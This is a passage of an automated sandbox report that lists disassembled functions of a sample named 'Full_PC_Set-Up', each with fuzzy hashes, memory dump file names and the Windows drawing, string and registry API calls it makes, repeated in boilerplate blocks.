Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Create_memcpy_s$CompatibleSection
String ID:
API String ID: 1371208187-0
Opcode ID: cd982c7716e0f82d937162cc8a80ec68e463df1768559411b8da05d9d1e2e27f
Instruction ID: ff15cd5f817cd5a4c00a8880fff435a2a889f222e2d41259191b027206090674
Opcode Fuzzy Hash: cd982c7716e0f82d937162cc8a80ec68e463df1768559411b8da05d9d1e2e27f
Instruction Fuzzy Hash: 3271A2B1D001089BCB02DF99C841AEEFBB9EF8A310F29815EE855BB341D7359E45CB61

Function 002E8D30 Relevance: 6.2, APIs: 4, Instructions: 202COMMON

Download Yara Rule

APIs

std::_String_base::_Xlen.LIBCPMT ref: 002E8DBF
_memmove_s.LIBCMT ref: 002E8E18
std::_String_base::_Xlen.LIBCPMT ref: 002E8E3E

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: String_base::_Xlenstd::_$_memmove_s
String ID:
API String ID: 3596149717-0
Opcode ID: 1da97acebe037512741875a260425e94e4109c4b4409794481279cae40206ccd
Instruction ID: 4b29f114206dddfbf32742321d0811e0358183d985eeb1ffd574b385fc5396f7
Opcode Fuzzy Hash: 1da97acebe037512741875a260425e94e4109c4b4409794481279cae40206ccd
Instruction Fuzzy Hash: B361D4313146458FC724DF29D9C086FB3EAFFD4700B508A2DE08AC7655EB70E9198BA5

Function 00300350 Relevance: 6.2, APIs: 4, Instructions: 183COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00300383
GetTextExtentPoint32W.GDI32(?,?,0000001E,?), ref: 003003C4
GetClientRect.USER32(?,?), ref: 003003F3
ReleaseDC.USER32(?,?), ref: 003004FC

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ClientExtentPoint32RectReleaseText
String ID:
API String ID: 1504739420-0
Opcode ID: 23dd99cd2dafb1679c357b13e260c84c9e1c31d5b4ad222931fa1fa5b1b227bc
Instruction ID: 2f241fd9cc8e5d2121cdabd265e229d1f845fec3613c29336da4b937a7d6c307
Opcode Fuzzy Hash: 23dd99cd2dafb1679c357b13e260c84c9e1c31d5b4ad222931fa1fa5b1b227bc
Instruction Fuzzy Hash: 4A6168B16057019FD705DF68C894A5BB7E8FF89320F148B19F8A98B2A5D730E905CB92

Function 002ED370 Relevance: 6.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

APIs

~_Task_impl.LIBCPMT ref: 002ED42E
~_Task_impl.LIBCPMT ref: 002ED43E
~_Task_impl.LIBCPMT ref: 002ED44E
~_Task_impl.LIBCPMT ref: 002ED45E

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Task_impl
String ID:
API String ID: 3172761019-0
Opcode ID: f820904bb18b84aa6b47f5672d30b976c2704197d43b59f6a93e0f63f74f74f2
Instruction ID: d6455c2da2b8118232a7d0034852f733a5c151e59d7d969369276b6bc708fc0e
Opcode Fuzzy Hash: f820904bb18b84aa6b47f5672d30b976c2704197d43b59f6a93e0f63f74f74f2
Instruction Fuzzy Hash: 53618170204B428FD345CF6CC885B56BBE5FFD5320F64865CE0A98B2A6DB31E905CB91

Function 002D3560 Relevance: 6.2, APIs: 4, Instructions: 156windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0036BFC6: __EH_prolog3.LIBCMT ref: 0036BFCD
Part of subcall function 0036BFC6: BeginPaint.USER32(?,?,00000004,002979AC,?,5EBD7D5F), ref: 0036BFF9

Part of subcall function 0036B56C: SaveDC.GDI32(?), ref: 0036B583
Part of subcall function 0036B56C: SaveDC.GDI32(?), ref: 0036B590

Part of subcall function 0036B678: SetTextColor.GDI32(?,?), ref: 0036B696
Part of subcall function 0036B678: SetTextColor.GDI32(?,?), ref: 0036B6A3

Part of subcall function 0036B5E1: SetBkColor.GDI32(?,?), ref: 0036B5FF
Part of subcall function 0036B5E1: SetBkColor.GDI32(?,?), ref: 0036B60C

Part of subcall function 0036B614: SetBkMode.GDI32(?,?), ref: 0036B631
Part of subcall function 0036B614: SetBkMode.GDI32(?,?), ref: 0036B63E

Part of subcall function 0036C21D: SelectObject.GDI32(?,00000000), ref: 0036C243
Part of subcall function 0036C21D: SelectObject.GDI32(?,?), ref: 0036C259

GetClientRect.USER32(?,?), ref: 002D35F3
GetSystemMetrics.USER32(0000000B), ref: 002D3606
GetSystemMetrics.USER32(0000000C), ref: 002D360C
DrawIcon.USER32(?,?,?,?), ref: 002D364D

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Color$MetricsModeObjectSaveSelectSystemText$BeginClientDrawH_prolog3IconPaintRect
String ID:
API String ID: 2968304047-0
Opcode ID: bb4562a40b2404774a04f6a01847ec2416c00553a7762dc007b5cc26ba1807c8
Instruction ID: d5f4b5668807e2f2c5890c4e2bdbbcc582dd99b8dae8f63733bc01870072716c
Opcode Fuzzy Hash: bb4562a40b2404774a04f6a01847ec2416c00553a7762dc007b5cc26ba1807c8
Instruction Fuzzy Hash: 6E518D712187019FC315DF28C885AABB7E4EFC8720F144A2DF59A872A1DB30ED05CB52

Function 002FFA10 Relevance: 6.2, APIs: 4, Instructions: 151COMMON

Download Yara Rule

APIs

_memmove_s.LIBCMT ref: 002FFACA
_memmove_s.LIBCMT ref: 002FFAEE
_memmove_s.LIBCMT ref: 002FFB0D
_memmove_s.LIBCMT ref: 002FFB5E

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memmove_s
String ID:
API String ID: 800865076-0
Opcode ID: bc86b1e818491ace6e0cc7f8d1380077da1d886d412a9291e220360daf6c1cba
Instruction ID: f85f06d9a9b10a53fe8fd1c734aebbd5eedf790148ac0587efd076095f23beb5
Opcode Fuzzy Hash: bc86b1e818491ace6e0cc7f8d1380077da1d886d412a9291e220360daf6c1cba
Instruction Fuzzy Hash: D941937261070A8FC318DF68C99193BB3E9AF84354B044A3CEA5AC7781EB71F9148B91

Function 002DB440 Relevance: 6.1, APIs: 4, Instructions: 145registryCOMMON

Download Yara Rule

APIs

Part of subcall function 002DC740: CloseHandle.KERNEL32(?,?,002DB49B,?,5EBD7D5F,00000064,?,?,00000000), ref: 002DC749
Part of subcall function 002DC740: RegCloseKey.ADVAPI32(?,?,002DB49B,?,5EBD7D5F,00000064,?,?,00000000), ref: 002DC75D
Part of subcall function 002DC740: RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F003F,00000000,?,?,?,002DB49B,?,5EBD7D5F,00000064), ref: 002DC785

Part of subcall function 002DC790: RegQueryValueExW.ADVAPI32(?,?,00000000,00000064,00000064,00000000,00000007,002DB4D8,5EBD7D5F), ref: 002DC7D5

CloseHandle.KERNEL32(?,5EBD7D5F,5EBD7D5F), ref: 002DB52E
RegCloseKey.ADVAPI32(5EBD7D5F,5EBD7D5F,5EBD7D5F), ref: 002DB541
CloseHandle.KERNEL32(?,?,00000000,000000FF,?,00000000,000000FF,5EBD7D5F,5EBD7D5F), ref: 002DB5D9
RegCloseKey.ADVAPI32(5EBD7D5F,?,00000000,000000FF,?,00000000,000000FF,5EBD7D5F,5EBD7D5F), ref: 002DB5EC

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Close$Handle$CreateQueryValue
String ID:
API String ID: 1323458093-0
Opcode ID: e3117170393c1b5e8ec15667299e8d119b66b3d9d8bf6458ea011d5800220f0f
Instruction ID: ed9cee46d29b299cd9ebc725066175312292fce06af0cb653f8dbb540c738453
Opcode Fuzzy Hash: e3117170393c1b5e8ec15667299e8d119b66b3d9d8bf6458ea011d5800220f0f
Instruction Fuzzy Hash: E85124B19183419BC701DF69D884A0BFBE9BF88750F644D2EF58993360EB71D944CB92

Function 0030C1E0 Relevance: 6.1, APIs: 4, Instructions: 134COMMON

Download Yara Rule

APIs

_memmove_s.LIBCMT ref: 0030C27E
_memmove_s.LIBCMT ref: 0030C2AA

Part of subcall function 0030C3D0: __CxxThrowException@8.LIBCMT ref: 0030C440

_memmove_s.LIBCMT ref: 0030C2E9
_memmove_s.LIBCMT ref: 0030C314

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memmove_s$Exception@8Throw
String ID:
API String ID: 2992690706-0
Opcode ID: 8680bb2b3456825ab20938bcd97298a974ee675fd597bf21a850308da2167dc2
Instruction ID: a53eceb57f744ce11de930a57805b5138e6facae7e6fb0464a8dc4cf442ceaa8
Opcode Fuzzy Hash: 8680bb2b3456825ab20938bcd97298a974ee675fd597bf21a850308da2167dc2
Instruction Fuzzy Hash: 5441E071A213028BDB19EF68DC91A7B3398EB80300F450E6DEC51DB785E674ED1987A2

Function 0030EE40 Relevance: 6.1, APIs: 4, Instructions: 134COMMON

Download Yara Rule

APIs

_memmove_s.LIBCMT ref: 0030EEDE
_memmove_s.LIBCMT ref: 0030EF0A

Part of subcall function 0030EFB0: __CxxThrowException@8.LIBCMT ref: 0030F026

_memmove_s.LIBCMT ref: 0030EF49
_memmove_s.LIBCMT ref: 0030EF74

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memmove_s$Exception@8Throw
String ID:
API String ID: 2992690706-0
Opcode ID: cc080504906c6082bbcf9806ca668a21c589b7b8ee6b906e29e4d82b99957fd3
Instruction ID: 8d7eee9ae8f7db6809eebec238e9d6df6150f6514a73b30201e5e40db41432e7
Opcode Fuzzy Hash: cc080504906c6082bbcf9806ca668a21c589b7b8ee6b906e29e4d82b99957fd3
Instruction Fuzzy Hash: 8F417F71A053069BE719EF28CC91A7B7398EB84300F460E2DE861CB385E771E919C792

Function 002FB010 Relevance: 6.1, APIs: 4, Instructions: 134COMMON

Download Yara Rule

APIs

_memmove_s.LIBCMT ref: 002FB0A0
_memmove_s.LIBCMT ref: 002FB0C3
_memmove_s.LIBCMT ref: 002FB0E2
_memmove_s.LIBCMT ref: 002FB129

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memmove_s
String ID:
API String ID: 800865076-0
Opcode ID: ae014fa0d6186017def0d849b52f34c120136e869b392f21ce1f213582aaec42
Instruction ID: 4a38319b64d4a387c68de4f979c9b9bb0304874edbfd01345bc2dfafa8bd6e23
Opcode Fuzzy Hash: ae014fa0d6186017def0d849b52f34c120136e869b392f21ce1f213582aaec42
Instruction Fuzzy Hash: BA41D87561070A5FD725EF28CC9193BB3A9EB80354B044A3CE96687741EF70F9198B91

Function 002BC5B0 Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 002BC5CC

Part of subcall function 00363669: GetScrollPos.USER32(?,?), ref: 0036368A

OffsetRect.USER32(?,00000000,00000000), ref: 002BC60A
PtInRect.USER32(?,?,?), ref: 002BC61D

Part of subcall function 002BC820: GetClientRect.USER32(?,?), ref: 002BC82C

PtInRect.USER32(?,?,?), ref: 002BC6C2

Part of subcall function 00361C78: _malloc.LIBCMT ref: 00361C96

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$Client$OffsetScroll_malloc
String ID:
API String ID: 4058074923-0
Opcode ID: a82488e3f9f107be9937cd3e05c71f2037316702e1601bb2639b6ae6cceb3592
Instruction ID: 063be86c1ed47226afdf34ab209e6f42d1477b81816a6bf6246f811d78b35fb5
Opcode Fuzzy Hash: a82488e3f9f107be9937cd3e05c71f2037316702e1601bb2639b6ae6cceb3592
Instruction Fuzzy Hash: 144193B2A003019FD704DF68DC45AAAB7E9EF98750F04892EFC45DB394DA30E914DB92

Function 002D76C0 Relevance: 6.1, APIs: 4, Instructions: 133windowCOMMON

Download Yara Rule

APIs

ScreenToClient.USER32(?,?), ref: 002D7737
SendMessageW.USER32(?,00001039,00000000,?), ref: 002D775D
WideCharToMultiByte.KERNEL32(00000003,00000000,?,000000FF,-00000010,00000050,00000000,00000000,00000000), ref: 002D77FC

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ByteCharClientMessageMultiScreenSendWide
String ID:
API String ID: 699456486-0
Opcode ID: f10ce0ca4b2111b021c5bb3929b8dac46c40e68ebd1b6a73bd656d762309cfac
Instruction ID: 0984e54ac8f8f98139e45c95a8baf673d3323d867edb6350b201102c41039e0f
Opcode Fuzzy Hash: f10ce0ca4b2111b021c5bb3929b8dac46c40e68ebd1b6a73bd656d762309cfac
Instruction Fuzzy Hash: FC418A712087019FE714CF18C845F1AB7E8FB89720F108A2EF9559B2D0EB74E814CB56

Function 003C0050 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Part of subcall function 003BF360: SetRect.USER32(00000004,00000004,00000002,00000004,00000000), ref: 003BF3CC

SetRect.USER32(00000040,00000000,00000000,00000000,00000000), ref: 003C013A
SetRect.USER32(00000050,00000000,00000000,00000000,00000000), ref: 003C0144
SetRect.USER32(00000060,00000000,00000000,00000000,00000000), ref: 003C014E
SetRect.USER32(00000070,00000006,00000000,00000006,00000000), ref: 003C01D0

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
